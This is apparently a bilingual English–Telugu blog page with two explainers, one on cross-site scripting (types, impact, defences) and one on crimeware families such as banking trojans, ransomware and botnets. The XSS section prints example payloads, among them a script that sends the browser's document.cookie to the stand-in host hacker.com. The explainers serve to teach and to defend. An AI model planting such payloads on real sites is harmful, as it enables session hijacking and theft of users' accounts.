Translate

Sunday, 18 January 2026

What is " Cross Site Scripting (XSS) " in Cyber Security

 Cross-Site Scripting (XSS) is a critical web security vulnerability that allows an attacker to inject malicious client-side scripts (usually JavaScript) into web pages viewed by other users.

Unlike most attacks that target a server directly, XSS targets the users of a website by exploiting the trust a user has in a specific site. When a victim visits the compromised page, their browser executes the malicious script, thinking it came from a trusted source.


How XSS Works

The core of an XSS attack is the failure of a web application to properly validate or escape user input.

  1. Injection: The attacker finds a way to put a malicious script into a webpage (e.g., through a comment, a search bar, or a URL).

  2. Execution: A victim visits the webpage.

  3. Data Theft: The script runs in the victim's browser and can steal sensitive information like session cookies, which are then sent to the attacker.


Types of XSS with Examples

XSS is generally categorized into three main types based on how the script is delivered:

1. Stored XSS (Persistent)

This is the most dangerous type. The malicious script is permanently stored on the target server (e.g., in a database, a forum post, or a comment field).

  • Scenario: A hacker posts a comment on a blog that contains a hidden script.

  • Malicious Payload: <script>fetch('https://hacker.com/steal?cookie=' + document.cookie);</script>

  • Example: Every user who views that blog post will have their session cookie automatically sent to the hacker's server without ever knowing it happened.

2. Reflected XSS (Non-Persistent)

The script is "reflected" off a web application to the victim's browser. It is not stored on the server; instead, it is delivered via a link (often in an email or a chat).

  • Scenario: A search page displays the user's search term back to them: "Results for: [search_term]".

  • The Attack: The attacker sends a victim a link like:

    https://bank.com/search?q=<script>alert('Hacked!')</script>

  • Example: When the victim clicks the link, the website "reflects" the script from the URL directly onto the page, and the browser executes it.

3. DOM-based XSS

The vulnerability exists entirely in the client-side code (JavaScript) rather than the server-side code. The attack happens when a script pulls data from a source the user can control (like the URL) and writes it to the Document Object Model (DOM) unsafely.

  • Scenario: A site uses JavaScript to greet a user based on a URL fragment.

    var name = window.location.hash.substring(1); document.body.innerHTML = 'Hello ' + name;

  • The Attack: An attacker lures a user to: https://site.com/#<img src=x onerror=alert(1)>

  • Example: The server never sees this script (as fragments aren't sent to the server), but the local JavaScript processes it and injects the malicious img tag into the page.


Why is XSS Dangerous?

If an attacker can execute JavaScript in your browser, they can:

  • Steal Session Cookies: This allows them to log in as the victim (Session Hijacking).

  • Capture Keystrokes: Record everything the user types (Keylogging).

  • Phishing: Create fake login forms on a real website to steal passwords.

  • Website Defacement: Change the content of the site to spread misinformation.


How to Prevent XSS

Securing a site requires a "Defense in Depth" approach:

TechniqueDescription
Output EncodingConvert special characters like < to &lt; before displaying them. This tells the browser to treat them as text, not code.
Input ValidationOnly allow expected data (e.g., ensuring an "Age" field only contains numbers).
Content Security Policy (CSP)A security header that tells the browser which scripts are allowed to run and from which sources.
HttpOnly CookiesA flag for cookies that prevents JavaScript from accessing them, making it impossible to steal session tokens via XSS.

క్రాస్-సైట్ స్క్రిప్టింగ్ (Cross-Site Scripting - XSS) అనేది వెబ్ సెక్యూరిటీలో ఒక ముఖ్యమైన లోపం. దీని ద్వారా హ్యాకర్లు (Attackers) ఒక వెబ్‌సైట్‌లోకి హానికరమైన స్క్రిప్ట్‌లను (సాధారణంగా JavaScript) పంపిస్తారు. ఈ స్క్రిప్ట్‌లు ఆ వెబ్‌సైట్‌ను సందర్శించే ఇతర వినియోగదారుల బ్రౌజర్‌లో రన్ అవుతాయి.

సాధారణంగా దాడులు సర్వర్‌పై జరుగుతాయి, కానీ XSS ద్వారా హ్యాకర్లు వినియోగదారులను (Users) నేరుగా లక్ష్యంగా చేసుకుంటారు.


XSS ఎలా పనిచేస్తుంది?

వెబ్ అప్లికేషన్ వినియోగదారు ఇచ్చే సమాచారాన్ని (Input) సరిగ్గా తనిఖీ చేయకుండా లేదా ఎన్‌కోడ్ చేయకుండా పేజీలో చూపించినప్పుడు ఈ దాడి జరుగుతుంది.

  1. ఇంజెక్షన్ (Injection): హ్యాకర్ ఒక వెబ్‌సైట్ సెర్చ్ బాక్స్‌లో లేదా కామెంట్ సెక్షన్‌లో హానికరమైన కోడ్‌ను ఎంటర్ చేస్తాడు.

  2. ఎగ్జిక్యూషన్ (Execution): ఆ వెబ్‌సైట్‌ను ఎవరైనా సామాన్య వినియోగదారు సందర్శించినప్పుడు, ఆ కోడ్ వారి బ్రౌజర్‌లో ఆటోమేటిక్‌గా రన్ అవుతుంది.

  3. డేటా చోరీ (Data Theft): ఆ కోడ్ ద్వారా వినియోగదారుని కుకీలు (Cookies), సెషన్ ఐడిలు లేదా ఇతర రహస్య సమాచారాన్ని హ్యాకర్ దొంగిలిస్తాడు.


XSS రకాలు మరియు ఉదాహరణలు

1. స్టోర్డ్ XSS (Stored XSS)

ఇది అత్యంత ప్రమాదకరమైనది. ఇందులో హానికరమైన స్క్రిప్ట్ వెబ్‌సైట్ డేటాబేస్‌లో శాశ్వతంగా సేవ్ అవుతుంది.

  • ఉదాహరణ: ఒక బ్లాగ్ వెబ్‌సైట్‌లో హ్యాకర్ ఒక కామెంట్ రాస్తాడు. ఆ కామెంట్‌లో ఈ క్రింది విధంగా కోడ్ ఉంటుంది:

    <script>window.location="http://hacker.com/steal?cookie="+document.cookie;</script>

  • ఫలితం: ఆ బ్లాగ్ పోస్ట్‌ను ఎవరైతే చదువుతారో, వారి బ్రౌజర్ ఆ కోడ్‌ను రన్ చేసి, వారి కుకీలను హ్యాకర్ సర్వర్‌కు పంపిస్తుంది.

2. రిఫ్లెక్టెడ్ XSS (Reflected XSS)

ఇందులో స్క్రిప్ట్ డేటాబేస్‌లో సేవ్ అవ్వదు. ఇది కేవలం ఒక లింక్ ద్వారా వినియోగదారుకు పంపబడుతుంది.

  • ఉదాహరణ: ఒక సెర్చ్ పేజీ మీరు వెతికిన పదాన్ని మళ్ళీ చూపిస్తుంది అనుకుందాం (ఉదా: "Results for: Apple").

  • దాడి: హ్యాకర్ వినియోగదారుకు ఇలాంటి ఒక లింక్ పంపిస్తాడు:

    https://example.com/search?q=<script>alert('మీ ఖాతా హ్యాక్ అయింది!')</script>

  • ఫలితం: వినియోగదారు ఆ లింక్ క్లిక్ చేయగానే, వెబ్‌సైట్ ఆ స్క్రిప్ట్‌ను పేజీలో చూపిస్తుంది మరియు అది బ్రౌజర్‌లో రన్ అవుతుంది.

3. DOM-ఆధారిత XSS (DOM-based XSS)

ఈ దాడి పూర్తిగా వినియోగదారు బ్రౌజర్‌లోనే (Client-side) జరుగుతుంది. వెబ్ పేజీలోని జావాస్క్రిప్ట్ కోడ్, URL లోని సమాచారాన్ని సరిగ్గా హ్యాండిల్ చేయనప్పుడు ఇది సంభవిస్తుంది.


XSS వల్ల కలిగే నష్టాలు

  • సెషన్ హైజాకింగ్ (Session Hijacking): వినియోగదారు లాగిన్ వివరాలను (Cookies) దొంగిలించి, వారి ఖాతాలోకి హ్యాకర్ ప్రవేశించవచ్చు.

  • కీ లాగింగ్ (Keylogging): వినియోగదారు టైప్ చేసే పాస్‌వర్డ్‌లను హ్యాకర్ రికార్డ్ చేయవచ్చు.

  • ఫిషింగ్ (Phishing): వెబ్‌సైట్‌లో నకిలీ లాగిన్ ఫారమ్‌లను సృష్టించి వినియోగదారులను మోసం చేయవచ్చు.


XSS నుండి రక్షణ పొందడం ఎలా?

పద్ధతివివరణ
అవుట్‌పుట్ ఎన్‌కోడింగ్ (Output Encoding)వినియోగదారు ఇచ్చే డేటాను పేజీలో చూపించే ముందు ప్రత్యేక అక్షరాలను (ఉదా: < ను &lt; గా) మార్చాలి.
ఇన్‌పుట్ వాలిడేషన్ (Input Validation)యూజర్ ఇచ్చే సమాచారం సరైనదో కాదో ముందే తనిఖీ చేయాలి.
కంటెంట్ సెక్యూరిటీ పాలసీ (CSP)ఏ స్క్రిప్ట్‌లు రన్ అవ్వాలో, ఏవి అవ్వకూడదో బ్రౌజర్‌కు నియమాలను విధించడం.
HttpOnly కుకీలుకుకీలకు 'HttpOnly' అనే ఫ్లాగ్ సెట్ చేయడం వల్ల జావాస్క్రిప్ట్ ద్వారా వాటిని దొంగిలించడం సాధ్యం కాదు.

What is " Crimeware " in Cyber Security

 In the field of cybersecurity, crimeware refers to a specific class of malicious software (malware) designed specifically to automate and facilitate illegal activities, typically for financial gain.1

While all crimeware is malware, not all malware is crimeware.2 For example, a virus designed only to delete files for the sake of destruction is malware, but a program designed to steal your bank login credentials is crimeware.


Key Characteristics of Crimeware

  • Profit-Driven: The primary motive is almost always money, whether through direct theft, extortion, or selling stolen data.3

  • Automation: It is built to perform repetitive criminal tasks at scale, such as sending millions of phishing emails or scanning thousands of IPs for vulnerabilities.

  • Stealth: Unlike older "noisy" viruses that crashed systems, crimeware often tries to remain invisible to continue stealing data over long periods.4

  • Identity Theft: A significant portion of crimeware focuses on "scraping" personally identifiable information (PII) like Social Security numbers, credit card details, and passwords.5


Common Types and Detailed Examples

1. Banking Trojans6

These are designed to sit silently on a victim's computer and wait for them to log into a financial site. They can intercept credentials, bypass Two-Factor Authentication (2FA), and even modify transactions in real-time.

  • Example: Zeus (Zbot). One of the most famous banking trojans in history, Zeus was used to steal millions of dollars from bank accounts globally by capturing keystrokes and form data.7

  • Example: SpyEye. A competitor to Zeus that could "grab" data from web browsers before it was even encrypted.

2. Ransomware8

This is perhaps the most visible form of crimeware. It encrypts a victim’s files and demands a payment (usually in cryptocurrency) in exchange for the decryption key.9

  • Example: WannaCry.10 In 2017, this ransomware spread to over 150 countries, famously locking down systems in the UK’s National Health Service (NHS).11

  • Example: REvil/Sodinokibi. A modern "big game hunting" ransomware group that targeted large corporations and demanded multi-million dollar ransoms.12

3. Keyloggers13

Keyloggers record every stroke made on a keyboard.14 They are used to harvest usernames, passwords, and private messages.15

  • Example: DarkLog. A common tool used by low-level criminals to steal social media and gaming account credentials.

4. Botnets

A botnet is a network of "zombie" computers infected with crimeware and controlled by a "bot herder."16 These networks are often rented out to other criminals.

  • Example: Mirai.17 This botnet targeted Internet of Things (IoT) devices (like cameras and routers) to launch massive Distributed Denial of Service (DDoS) attacks, at one point shutting down major portions of the internet.

  • Example: Emotet. Originally a banking trojan, it evolved into a massive botnet used as a "delivery service" for other types of crimeware like ransomware.18

5. Phishing Kits

These are "all-in-one" software packages sold on the dark web that allow even non-technical criminals to set up fake websites (like a fake PayPal or Netflix login page) to steal user data.

  • Example: Evilginx.19 A sophisticated kit that can steal not just passwords, but also active session cookies, allowing attackers to bypass 2FA entirely.


The "Crimeware-as-a-Service" (CaaS) Model

The cybercrime industry has become highly professionalized. Today, developers create crimeware and rent it out to other criminals—a model known as Crimeware-as-a-Service.20

Under this model, a criminal doesn't need to know how to code. They simply pay a monthly subscription fee or a percentage of their "earnings" to the developers for access to the software, tech support, and updates to evade antivirus detection.

Summary Table: Malware vs. Crimeware

FeatureGeneral MalwareCrimeware
Primary GoalDisruption, sabotage, or "fun."Financial gain or identity theft.
VisibilityOften obvious (crashes, pop-ups).Often hidden (stealthy data theft).
Business ModelUsually none.Highly organized (subscriptions, kits).
ExampleA virus that wipes a hard drive.A trojan that steals banking PINs.

సైబర్ సెక్యూరిటీ రంగంలో "క్రిమ్‌వేర్" (Crimeware) అంటే చట్టవిరుద్ధమైన కార్యకలాపాలను, ముఖ్యంగా ఆర్థిక లాభం కోసం ఆటోమేట్ చేయడానికి రూపొందించబడిన ఒక ప్రత్యేక రకమైన మాల్వేర్ (Malware).

సాధారణంగా అన్ని క్రిమ్‌వేర్‌లు మాల్వేర్లే, కానీ అన్ని మాల్వేర్లు క్రిమ్‌వేర్లు కావు. ఉదాహరణకు, కేవలం ఫైళ్లను డిలీట్ చేసే వైరస్ మాల్వేర్ అవుతుంది, కానీ మీ బ్యాంక్ పాస్‌వర్డ్‌లను దొంగిలించే సాఫ్ట్‌వేర్ క్రిమ్‌వేర్ అవుతుంది.


క్రిమ్‌వేర్ యొక్క ప్రధాన లక్షణాలు

  • లాభాపేక్ష: దీని వెనుక ఉన్న ప్రధాన ఉద్దేశం డబ్బు సంపాదించడం (నేరుగా దొంగతనం చేయడం లేదా డేటాను అమ్మి డబ్బు పొందడం).

  • ఆటోమేషన్: నేరస్థులు పదే పదే చేసే పనులను (ఉదాహరణకు లక్షలాది ఫిషింగ్ ఈమెయిల్స్ పంపడం) ఇది సులభతరం చేస్తుంది.

  • రహస్యంగా ఉండటం: కంప్యూటర్‌ను క్రాష్ చేయడం కంటే, యజమానికి తెలియకుండా లోపల ఉండి సమాచారాన్ని దొంగిలించడానికి ఇది ప్రయత్నిస్తుంది.

  • గుర్తింపు దొంగతనం: ఆధార్ నంబర్లు, క్రెడిట్ కార్డ్ వివరాలు మరియు పాస్‌వర్డ్‌లను దొంగిలించడం దీని ముఖ్య ఉద్దేశం.


క్రిమ్‌వేర్ రకాలు మరియు ఉదాహరణలు

1. బ్యాంకింగ్ ట్రోజన్లు (Banking Trojans)

ఇవి మీ కంప్యూటర్‌లో నిశ్శబ్దంగా ఉండి, మీరు బ్యాంక్ వెబ్‌సైట్ ఓపెన్ చేసినప్పుడు మీ లాగిన్ వివరాలను దొంగిలిస్తాయి.

  • ఉదాహరణ: జ్యూస్ (Zeus). ఇది ప్రపంచవ్యాప్తంగా బ్యాంక్ ఖాతాల నుండి మిలియన్ల కొద్దీ డాలర్లను దొంగిలించడానికి ఉపయోగించబడింది.

2. రాన్సమ్‌వేర్ (Ransomware)

ఇది మీ కంప్యూటర్‌లోని ఫైళ్లను లాక్ (Encrypt) చేసి, వాటిని తిరిగి ఇవ్వడానికి డబ్బు (క్రిప్టోకరెన్సీ రూపంలో) డిమాండ్ చేస్తుంది.

  • ఉదాహరణ: వన్నాక్రై (WannaCry). 2017లో ఇది ప్రపంచవ్యాప్తంగా లక్షలాది కంప్యూటర్లను నిలిపివేసింది.

3. కీలాగర్లు (Keyloggers)

మీరు కీబోర్డ్ మీద టైప్ చేసే ప్రతి అక్షరాన్ని ఇవి రికార్డ్ చేసి నేరస్థులకు పంపిస్తాయి. దీని ద్వారా యూజర్ నేమ్స్ మరియు పాస్‌వర్డ్‌లు సులభంగా దొరుకుతాయి.

  • ఉదాహరణ: డార్క్ లాగ్ (DarkLog).

4. బాట్‌నెట్‌లు (Botnets)

నేరస్థులు తమ ఆధీనంలో ఉంచుకున్న వేలకొద్దీ కంప్యూటర్ల నెట్‌వర్క్‌ను బాట్‌నెట్ అంటారు. వీటిని ఉపయోగించి పెద్ద వెబ్‌సైట్‌లను నిలిపివేయవచ్చు (DDoS attacks).

  • ఉదాహరణ: మీరాయ్ (Mirai). ఇది సిసిటివి కెమెరాలు, రౌటర్ల వంటి డివైజ్‌లను హ్యాక్ చేసి ఇంటర్నెట్‌ను స్తంభింపజేసింది.

5. ఫిషింగ్ కిట్లు (Phishing Kits)

నకిలీ వెబ్‌సైట్‌లను (ఉదాహరణకు నకిలీ Facebook లేదా SBI పేజీలు) సులభంగా తయారు చేయడానికి నేరస్థులు వాడే సాఫ్ట్‌వేర్ ప్యాకేజీలు ఇవి.


"క్రిమ్‌వేర్-యాజ్-ఎ-సర్వీస్" (CaaS)

నేడు సైబర్ నేరాలు ఒక వ్యాపారంలా మారాయి. సాఫ్ట్‌వేర్ డెవలపర్లు క్రిమ్‌వేర్‌ను తయారు చేసి, ఇతర నేరస్థులకు అద్దెకు ఇస్తున్నారు. దీనినే Crimeware-as-a-Service అంటారు. దీనివల్ల కోడింగ్ రాని వారు కూడా సులభంగా సైబర్ దాడులు చేయగలుగుతున్నారు.


మాల్వేర్ vs క్రిమ్‌వేర్: తేడాలు

ఫీచర్సాధారణ మాల్వేర్క్రిమ్‌వేర్
ప్రధాన లక్ష్యంవ్యవస్థను పాడు చేయడం లేదా వినోదం.ఆర్థిక లాభం లేదా డేటా దొంగతనం.
కనిపించే తీరుసిస్టమ్ క్రాష్ అవ్వడం వల్ల వెంటనే తెలుస్తుంది.రహస్యంగా ఉండి డేటాను దొంగిలిస్తుంది.
ఉదాహరణఫైళ్లను తుడిచివేసే వైరస్.బ్యాంక్ పాస్‌వర్డ్ దొంగిలించే సాఫ్ట్‌వేర్.